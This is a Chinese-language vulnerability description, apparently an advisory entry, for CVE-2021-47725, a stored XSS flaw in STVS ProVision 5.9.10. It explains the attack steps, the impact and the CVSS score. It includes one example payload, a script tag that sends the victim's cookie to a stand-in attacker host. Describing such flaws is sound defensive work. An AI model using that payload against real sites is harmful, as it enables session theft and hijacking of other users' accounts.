CVE-2021-47725CVE-2021-47725是STVS ProVision 5.9.10版本中发现的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于'files' POST参数中,允许经过认证的低权限攻击者注入任意HTML代码或JavaScript脚本。由于应用程序未能对用户输入进行充分的验证和过滤,恶意代码会被存储在服务器端,当其他用户访问受影响的页面时,嵌入的恶意脚本会在其浏览器上下文中执行。攻击者可利用此漏洞窃取会话Cookie、劫持用户会话、进行钓鱼攻击或修改页面内容,对应用程序的安全性造成严重威胁。CVSS 3.1评分为5.4(中等严重程度),攻击向量为网络,复杂度低,但需要低权限用户身份认证和用户交互才能成功利用。
该漏洞属于存储型跨站脚本(Stored XSS)漏洞,攻击原理如下:1)攻击者以低权限用户身份登录STVS ProVision系统;2)攻击者在'files' POST参数中注入恶意JavaScript代码或HTML标签;3)由于应用程序未对输入进行适当的输出编码或输入验证,恶意代码被存储在数据库或服务器端;4)当其他合法用户访问包含该恶意内容的页面时,浏览器会解析并执行注入的脚本代码。攻击者通常会构造窃取Cookie或会话令牌的payload,例如:<script>document.location='https://attacker.com/steal?c='+document.cookie</script>。由于该漏洞需要认证才能利用,攻击者首先需要获取有效的用户凭证。成功利用后,攻击者可以在受害者浏览器中执行任意客户端代码,潜在后果包括会话劫持、敏感信息泄露和进一步的横向移动。